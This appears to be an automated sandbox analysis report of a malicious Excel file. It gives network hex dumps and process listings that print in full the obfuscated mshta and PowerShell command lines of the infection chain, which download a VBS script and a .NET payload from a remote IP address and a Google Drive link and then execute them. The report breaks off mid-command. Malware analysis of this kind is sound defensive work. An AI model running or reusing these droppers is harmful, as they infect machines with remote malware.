2024-10-24 06:46:04 UTC	1378	IN	Data Raw: b2 c6 e2 c0 b3 63 fa e0 66 d4 34 f3 16 51 42 c9 03 28 ac 03 31 65 dc 4f 7f 6c 06 e7 83 7e 99 69 cb 32 f7 6e ff 00 2c 5a 39 4a c0 e9 cd 9e 38 cd 24 4f 37 40 10 47 6c 3a 1f ae 27 36 92 58 80 97 69 00 1b 35 81 30 05 58 83 ca 01 00 f7 cf b2 7e cf b4 a9 3f ec fb 47 a6 9e 36 97 4f a8 fb 42 11 94 77 56 88 29 e7 b7 cf b6 7c 6a 58 19 c8 f2 eb 6d 73 66 8f 39 fa 1b f6 20 88 bf 60 e7 77 65 21 f5 ce 36 b3 71 7b 50 00 47 c4 d0 fa e0 7c f3 ec 86 96 0d 24 df 69 61 de cc 9f 72 5f 4c 4e 18 b2 99 62 23 d4 78 ee 01 6e c3 a6 0b f6 84 1a 2f da f4 cd 33 8d 41 69 34 c7 72 a8 51 b7 62 71 ed d3 bf 7b be 3a 66 ef d9 08 53 67 da 44 1a 69 62 f1 18 b4 4e 93 ab 23 16 45 43 10 29 60 05 03 d2 d4 a0 0a af 86 64 7d b5 d6 e9 b5 bf b4 81 3b 23 16 94 69 24 01 db 90 1a 28 d8 0e bf 1c 0d 1f da Data Ascii: cf4QB(1eOl~i2n,Z9J8$O7@Gl:'6Xi50X~?G6OBwV)\|jXmsf9 `we!6q{PG\|$iar_LNb#xn/3Ai4rQbq{:fSgDibN#EC)`d};#i$(
2024-10-24 06:46:04 UTC	1378	IN	Data Raw: 0e 51 21 52 69 af da f1 39 f6 b2 96 08 c5 98 50 be d8 58 85 a9 12 bb 31 f7 f6 c0 cc a1 66 dd e6 1f 2c f4 17 81 d1 2f 9b 09 2e a4 b0 e3 e9 8b 3a 3c 4c cd 1d 2a 91 cf 18 c3 29 58 5a 9c d9 3e 9f 96 1e 08 8c b0 82 dc af 42 47 38 19 e1 37 37 ac 6e 1e f8 64 2c ea 50 8b 5a e2 86 72 43 20 d6 98 ca 91 10 e6 f1 98 e2 02 56 0a 59 42 8b 23 df 01 78 b4 e9 01 ad a6 db b0 c3 47 a2 56 90 52 30 0d d6 fb 64 88 77 4d bc c8 dc 9e 06 3a 6d 23 01 59 b7 11 d7 02 87 46 9a 6b 23 93 d3 e9 81 56 57 0c 03 58 06 a8 8e 70 da 98 8b 4d 13 09 58 9a a2 07 f3 c4 91 36 ea 25 46 91 89 bf 4f 15 81 05 48 73 66 fe 99 59 d0 32 6d 65 e4 64 32 32 cc 41 73 f0 bc ba 5b 0d 92 1b 61 d0 d6 02 fa 7d 3a 39 3e 9f 52 f4 38 dc 6b 21 43 bb a8 e9 95 8c 04 52 43 10 df 2c 32 12 50 6d 66 2c 7a fc 30 2f 06 8d a6 Data Ascii: Q!Ri9PX1f,/.:<L*)XZ>BG877nd,PZrC VYB#xGVR0dwM:m#YFk#VWXpMX6%FOHsfY2med22As[a}:9>R8k!CRC,2Pmf,z0/
2024-10-24 06:46:04 UTC	1378	IN	Data Raw: 1a 88 d4 12 59 54 13 5b be 27 af c8 e2 ad b4 01 4a 40 bc d0 d5 13 ac 08 c8 d1 88 d5 76 ae f9 94 33 72 c4 96 05 ae c9 e4 7e 43 e2 b0 d3 48 83 99 74 f4 7b 79 e9 ff 00 ab 01 32 29 b9 26 8f b6 16 02 34 ee 25 08 c5 87 2a bb c8 03 e7 44 1f d7 0f f7 49 0c 77 be 02 4f ff 00 6f 4f fd 59 0d a4 95 63 16 d0 90 be d3 23 7e 81 b0 1a 86 59 f5 09 23 43 24 e1 4d 1d cd 2b 11 d0 58 15 c0 b3 fe 20 46 44 5a 83 3b 14 59 a6 89 55 50 bb b4 cc 6c d8 56 ef d3 93 f9 7b 62 09 a7 96 48 77 a3 42 01 3c dc aa a4 8f 88 2c 32 1f 49 22 a9 25 a1 20 2e ea 12 27 4f a3 73 80 ea 99 bc a5 f3 1a 44 2e 18 28 69 18 f2 0a f5 00 93 5c 9e dd 33 33 5c 85 67 60 58 b1 e2 d9 9a cf f7 af 9e 73 bb 36 9c 21 24 aa 12 47 3c 73 5f 9e 2c 78 04 0b a3 c9 27 02 83 83 9a be 16 e9 1c 52 33 90 29 81 e7 e5 99 4a 2c e6 Data Ascii: YT['J@v3r~CHt{y2)&4%*DIwOoOYc#~Y#C$M+X FDZ;YUPlV{bHwB<,2I"% .'OsD.(i\33\g`Xs6!$G<s_,x'R3)J,
2024-10-24 06:46:04 UTC	1378	IN	Data Raw: f0 1a af 0a 7d 3c 28 c5 9a 49 e5 7f c2 ab ba 8d 73 df 03 23 cb 74 9c 30 7b 46 1e a5 6e c7 e1 84 49 e5 8c 32 a3 6d 0c a5 58 fb 8b bc 31 d3 ba 30 66 46 a2 0d 6e 15 5d bf a6 09 d8 19 02 81 47 df 03 d0 7d 9e 56 6d 0b d3 6d 01 ec 1f a5 62 bf 68 55 9b 57 a7 0d d7 6f 1f 1f 56 5b c2 35 03 45 0c 9e 71 db 16 e5 36 db af 9b 1c 7e 78 2f 13 d4 47 ac d4 c6 da 76 de 11 4a 9d bb ab df db 03 d0 1d eb a5 2a 59 98 85 6f c5 db e1 9e 7f ec d0 65 9a 72 39 f4 0f e7 9a e7 59 12 e9 49 97 74 67 98 d4 10 c6 cd 7b 7d 33 27 c1 b7 e9 27 73 22 32 ab a8 16 55 b9 eb d0 56 03 3e 3f a7 f3 60 13 85 f5 44 68 ff 00 ba 7f eb 97 d0 f8 ac 6b e1 db a4 3c c4 84 f4 27 75 76 c7 27 96 07 86 45 91 c4 6a ca 08 69 01 0a 77 03 c0 be a7 8c f1 c2 45 86 52 a5 4b c5 7c 7a a8 10 3e 38 1e 8f 45 71 81 23 bb 7d Data Ascii: }<(Is#t0{FnI2mX10fFn]G}VmmbhUWoV[5Eq6~x/GvJ*Yoer9YItg{}3''s"2UV>?`Dhk<'uv'EjiwERK\|z>8Eq#}
2024-10-24 06:46:04 UTC	1378	IN	Data Raw: cb ea 1c 74 00 05 ac 0c 9f b3 cc 90 78 d7 da 68 22 d6 ab 38 f0 89 e4 9e 58 dc c8 a1 d4 44 ad d4 72 c4 ee 2c 47 16 c2 bb 67 8a fb 55 10 93 ed ee 9b 50 24 0b 1c c9 a2 0a c1 83 32 8f 22 1f 51 5f c4 07 3d c6 6b 7d 84 d4 3e 8b c6 3e d6 46 92 42 d1 a7 83 6a 9c 79 60 fa 76 95 3b 41 20 1e fc e6 27 db 14 0d f6 bd 1c 39 15 a7 d1 15 63 dc 7d de 2a c0 f4 9f b5 e9 e4 66 fb 3d e6 24 b1 ca 9a 3d 92 ab 22 a8 0d b5 18 f0 39 1c b5 73 ed 9f 39 d3 40 41 2e 25 da c3 e1 9f 58 fd b3 cb a6 6f 1d f0 5d 3e a6 49 04 50 a3 89 5d 41 69 0f 0a 68 02 40 ff 00 47 3e 63 19 73 11 0b 11 65 00 0e 08 04 1b e8 6b eb 80 16 49 4a b2 79 a5 95 81 06 85 60 df 46 15 81 f3 38 35 7e 95 be 3e 39 a4 c9 b9 76 15 28 d5 dc 7f 5c 4e 73 e4 05 56 91 c5 9a e2 bf b6 05 f4 30 9f 35 9c 92 39 b5 0d 44 9b f9 65 f5 Data Ascii: txh"8XDr,GgUP$2"Q_=k}>>FBjy`v;A '9c}*f=$="9s9@A.%Xo]>IP]Aih@G>csekIJy`F85~>9v(\NsV059De
2024-10-24 06:46:04 UTC	1378	IN	Data Raw: c0 1d b0 d0 a2 e9 d0 24 67 8e a4 62 b1 6a 36 30 0e 9b bb 59 ca c9 29 56 2c ad c9 e8 30 0c 1d 9a 6a 0e a2 8d 73 91 3f 98 ac a4 b2 d0 3e aa 1d 46 26 67 31 a3 3c 8a a3 6f 37 8a 68 7c 54 6a f5 6e a1 58 93 d2 ff 00 0e 06 b1 71 e6 86 14 01 e3 35 1a 26 01 02 90 40 51 98 a6 46 ad a5 68 8f 61 8f 47 3b be 94 12 18 38 e2 fb d6 03 ee 8a 40 e5 77 03 57 ed 99 72 41 73 19 59 82 95 36 6c f1 8d 39 91 62 57 03 e2 d7 94 79 b7 46 43 42 ac 08 a6 e7 00 12 a4 72 c2 35 01 d6 ec f4 c5 11 d9 e4 6d cc 09 19 da 9d f3 41 22 44 16 26 2a 55 6b b6 28 35 02 2d 54 7a 5a b7 65 b2 c7 e0 30 0b a9 94 45 a9 44 67 1b 4f 38 ea ea 12 29 46 c2 b5 fc 40 e2 7a bd 3a 4e ea d2 2a 8d b5 cd e5 e0 81 5d 4c c4 86 8f a5 8c 0d b6 d5 a0 d3 f9 88 a1 56 bf 2c cc 96 68 e6 f5 07 52 4f c7 13 f1 2d 54 ef a0 91 74 Data Ascii: $gbj60Y)V,0js?>F&g1<o7h\|TjnXq5&@QFhaG;8@wWrAsY6l9bWyFCBr5mA"D&Uk(5-TzZe0EDgO8)F@z:N]LV,hRO-Tt

Target ID:	0
Start time:	02:44:58
Start date:	24/10/2024
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Imagebase:	0x13f9c0000
File size:	28'253'536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	02:45:23
Start date:	24/10/2024
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\mshta.exe -Embedding
Imagebase:	0x13f4d0000
File size:	13'824 bytes
MD5 hash:	95828D670CFD3B16EE188168E083C3C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:45:26
Start date:	24/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\sYSTEm32\WinDOWspOwershElL\v1.0\pOweRshEll.eXe" "PoWeRshELL.exE -eX bYpASs -NOp -w 1 -c DEvICecrEdentiaLdePlOYMent.ExE ; Iex($(IEx('[sYsTem.TeXt.eNcOdiNg]'+[ChAR]58+[chAR]0X3A+'utf8.getSTrIng([sYsTeM.cOnvErt]'+[CHar]0x3A+[cHaR]0x3A+'frOMbAsE64StrinG('+[ChAR]0x22+'JFQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtQkVyZEVGSU5pdGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVybG1vbi5kTEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUmhQQVdhVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFpIT0djVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFFvLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxzaGJQSHRzLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaik7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJuaWVlIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWVTcEFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcnB3WUlpRnNleCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFQ6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xNzYuMTQxLzM2L2dvb2R0aGluZ3N3aXRoZ3JlYXRjb21lYmFja3dpdGhncmVhdHRoaWducy50SUYiLCIkRU5WOkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMiLDAsMCk7c1RhUnQtc2xlZVAoMyk7U3RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU52OkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMi'+[ChAr]34+'))')))"
Imagebase:	0x13f8f0000
File size:	443'392 bytes
MD5 hash:	A575A7610E5F003CC36DF39E07C4BA7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:45:29
Start date:	24/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX bYpASs -NOp -w 1 -c DEvICecrEdentiaLdePlOYMent.ExE
Imagebase:	0x13f8f0000
File size:	443'392 bytes
MD5 hash:	A575A7610E5F003CC36DF39E07C4BA7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:45:31
Start date:	24/10/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\41k31je4\41k31je4.cmdline"
Imagebase:	0x13f670000
File size:	2'758'280 bytes
MD5 hash:	23EE3D381CFE3B9F6229483E2CE2F9E1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	02:45:32
Start date:	24/10/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4A69.tmp" "c:\Users\user\AppData\Local\Temp\41k31je4\CSC1CC2DACCE81D4F99A1AD504B85F71256.TMP"
Imagebase:	0x13fc80000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	02:45:36
Start date:	24/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\goodthingswithgreatcomebackwithgreatthig.vbS"
Imagebase:	0xff070000
File size:	168'960 bytes
MD5 hash:	045451FA238A75305CC26AC982472367
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	02:45:37
Start date:	24/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnVUNRaW1hZ2VVcmwgPSAwVERodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2EnKydkJysnJmlkPTFBSVZnSkpKdjFGNnZTNHNVT3libkgtc0R2VWhCWXd1ciAwVEQ7VUNRd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlcnKydlYkNsaWVudDtVQ1FpbWFnZUJ5dGVzID0gVUNRd2ViQ2xpZW50LkRvd25sb2FkRGF0YShVQ1FpbScrJ2FnZVVybCk7VUNRaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcnKycoVUNRaW1hZ2VCeXRlcyk7VUNRc3RhcnRGbGFnID0gMFREPDxCQVNFNjRfU1RBUlQ+PjBURDtVQ1EnKydlbmRGbGFnID0gMFREPDxCQVNFNjRfRU5EPj4wVEQ7VUNRc3RhcnRJbmRleCA9IFVDUWltYWdlVGV4dC5JbmRleE9mKFVDUXN0YXJ0RmxhZyk7VUNRZW5kSW5kZXggPSBVQ1FpbWFnZVRleHQuSW5kZXhPZihVQ1FlbmRGbGFnKTtVQ1FzdCcrJ2FydEluZGV4IC1nZSAwIC1hbmQgVUNRZW5kSW5kZXggLWd0IFVDUXN0YXJ0SW5kZXg7VUNRc3RhcnRJbmRleCArPSBVQ1FzdGFydEZsYWcuTGVuZ3RoO1VDUWJhc2U2NCcrJ0xlbmd0aCA9ICcrJ1VDJysnUScrJ2VuZEluZGV4IC0gVUNRc3RhcnRJbmRleDtVQ1FiYXNlNjRDb21tYW5kICcrJz0gVUNRaW1hZ2VUZXh0LlN1YnN0cmluZyhVQ1FzdGFydEluZGV4LCBVQ1FiYXNlNjRMZW5ndGgpO1VDUWJhc2U2NFJldmVyc2VkID0gLWpvaW4gKFVDUWJhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSBQeXogRm9yRWFjaC1PYmplY3QgeyBVQ1FfIH0pWycrJy0xLi4tKFVDUWJhc2U2NENvbW1hbmQuTGVuZ3RoKV07VUNRY29tbWFuZEJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyhVQ1FiYXNlNjRSZXZlcnNlZCk7VUNRbG9hZGVkQXNzJysnZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFVDUWNvbW1hbmRCeXRlcyk7VUMnKydRdmFpTWV0aG9kID0gW2RubGliLklPLkhvbScrJ2VdLkdldE1ldGhvZCgwVERWQUkwVEQpO1VDUXZhaU1ldGhvZC5JbnZva2UoJysnVUNRJysnbnVsbCwgQCgwVER0eHQuSUtPTDAyJVNHT0wvNjMvMTQxLjYnKyc3MS4zLjI5MS8vOnB0dGgwVEQsIDBURGRlc2F0aXZhZG8wVEQsIDBURGRlc2F0aXZhZG8wVEQsIDBURGRlc2F0aScrJ3ZhZG8wVEQsIDBUREFkZEluUHJvY2VzczMyMFRELCAwVERkZXNhdGl2YWRvMFRELCAwVERkZXNhdGl2YWRvMFRELDBURGRlc2F0aXZhZG8wVEQsMFREZGVzYXRpdmFkbzBURCwnKycwVERkZXNhdGl2YWRvJysnMFRELDBURGRlc2F0aXZhZG8wVEQsMFREZGVzYXRpdmFkbzBURCwwVCcrJ0QxMFRELDBURGRlc2F0aXZhZCcrJ28wVEQpKScrJzsnKS1yRXBsYWNFJ1VDUScsW2NIYVJdMzYgIC1yRXBsYWNFJzBURCcsW2NIYVJdMzkgIC1yRXBsYWNFIChbY0hhUl04MCtbY0hhUl0xMjErW2NIYVJdMTIyKSxbY0hhUl0xMjQpIHwuICgoR0VULXZhUklhQkxlICcqbWRyKicpLm5hTUVbMywxMSwyXS1Kb0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Imagebase:	0x13f8f0000
File size:	443'392 bytes
MD5 hash:	A575A7610E5F003CC36DF39E07C4BA7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	02:45:37
Start date:	24/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('UCQimageUrl = 0TDhttps://drive.google.com/uc?export=downloa'+'d'+'&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur 0TD;UCQwebClient = New-Object System.Net.W'+'ebClient;UCQimageBytes = UCQwebClient.DownloadData(UCQim'+'ageUrl);UCQimageText = [System.Text.Encoding]::UTF8.GetString'+'(UCQimageBytes);UCQstartFlag = 0TD<<BASE64_START>>0TD;UCQ'+'endFlag = 0TD<<BASE64_END>>0TD;UCQstartIndex = UCQimageText.IndexOf(UCQstartFlag);UCQendIndex = UCQimageText.IndexOf(UCQendFlag);UCQst'+'artIndex -ge 0 -and UCQendIndex -gt UCQstartIndex;UCQstartIndex += UCQstartFlag.Length;UCQbase64'+'Length = '+'UC'+'Q'+'endIndex - UCQstartIndex;UCQbase64Command '+'= UCQimageText.Substring(UCQstartIndex, UCQbase64Length);UCQbase64Reversed = -join (UCQbase64Command.ToCharArray() Pyz ForEach-Object { UCQ_ })['+'-1..-(UCQbase64Command.Length)];UCQcommandBytes = [System.Convert]::FromBase64String(UCQbase64Reversed);UCQloadedAss'+'embly = [System.Reflection.Assembly]::Load(UCQcommandBytes);UC'+'QvaiMethod = [dnlib.IO.Hom'+'e].GetMethod(0TDVAI0TD);UCQvaiMethod.Invoke('+'UCQ'+'null, @(0TDtxt.IKOL02%SGOL/63/141.6'+'71.3.291//:ptth0TD, 0TDdesativado0TD, 0TDdesativado0TD, 0TDdesati'+'vado0TD, 0TDAddInProcess320TD, 0TDdesativado0TD, 0TDdesativado0TD,0TDdesativado0TD,0TDdesativado0TD,'+'0TDdesativado'+'0TD,0TDdesativado0TD,0TDdesativado0TD,0T'+'D10TD,0TDdesativad'+'o0TD))'+';')-rEplacE'UCQ',[cHaR]36 -rEplacE'0TD',[cHaR]39 -rEplacE ([cHaR]80+[cHaR]121+[cHaR]122),[cHaR]124) \|. ((GET-vaRIaBLe 'mdr').naME[3,11,2]-JoIN'')"
Imagebase:	0x13f8f0000
File size:	443'392 bytes
MD5 hash:	A575A7610E5F003CC36DF39E07C4BA7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	02:45:42
Start date:	24/10/2024
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\mshta.exe -Embedding
Imagebase:	0x13f260000
File size:	13'824 bytes
MD5 hash:	95828D670CFD3B16EE188168E083C3C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	02:45:45
Start date:	24/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\sYSTEm32\WinDOWspOwershElL\v1.0\pOweRshEll.eXe" "PoWeRshELL.exE -eX bYpASs -NOp -w 1 -c DEvICecrEdentiaLdePlOYMent.ExE ; Iex($(IEx('[sYsTem.TeXt.eNcOdiNg]'+[ChAR]58+[chAR]0X3A+'utf8.getSTrIng([sYsTeM.cOnvErt]'+[CHar]0x3A+[cHaR]0x3A+'frOMbAsE64StrinG('+[ChAR]0x22+'JFQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtQkVyZEVGSU5pdGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVybG1vbi5kTEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUmhQQVdhVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFpIT0djVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFFvLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxzaGJQSHRzLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaik7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJuaWVlIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWVTcEFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcnB3WUlpRnNleCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFQ6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xNzYuMTQxLzM2L2dvb2R0aGluZ3N3aXRoZ3JlYXRjb21lYmFja3dpdGhncmVhdHRoaWducy50SUYiLCIkRU5WOkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMiLDAsMCk7c1RhUnQtc2xlZVAoMyk7U3RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU52OkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMi'+[ChAr]34+'))')))"
Imagebase:	0x13f8f0000
File size:	443'392 bytes
MD5 hash:	A575A7610E5F003CC36DF39E07C4BA7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 1692, Parent PID: 2464

General

Target ID:	19
Start time:	02:45:46
Start date:	24/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX bYpASs -NOp -w 1 -c DEvICecrEdentiaLdePlOYMent.ExE
Imagebase:	0x13f8f0000
File size:	443'392 bytes
MD5 hash:	A575A7610E5F003CC36DF39E07C4BA7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: csc.exePID: 3104, Parent PID: 2464

General

Target ID:	20
Start time:	02:45:49
Start date:	24/10/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\sblybu2m\sblybu2m.cmdline"
Imagebase:	0x13fa70000
File size:	2'758'280 bytes
MD5 hash:	23EE3D381CFE3B9F6229483E2CE2F9E1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	02:45:49
Start date:	24/10/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES8FC2.tmp" "c:\Users\user\AppData\Local\Temp\sblybu2m\CSCFEB4FC09456049919CFF236451FA82A.TMP"
Imagebase:	0x13f6e0000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	02:45:55
Start date:	24/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\goodthingswithgreatcomebackwithgreatthig.vbS"
Imagebase:	0xfff10000
File size:	168'960 bytes
MD5 hash:	045451FA238A75305CC26AC982472367
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 2072, Parent PID: 3268

General

Target ID:	24
Start time:	02:45:55
Start date:	24/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 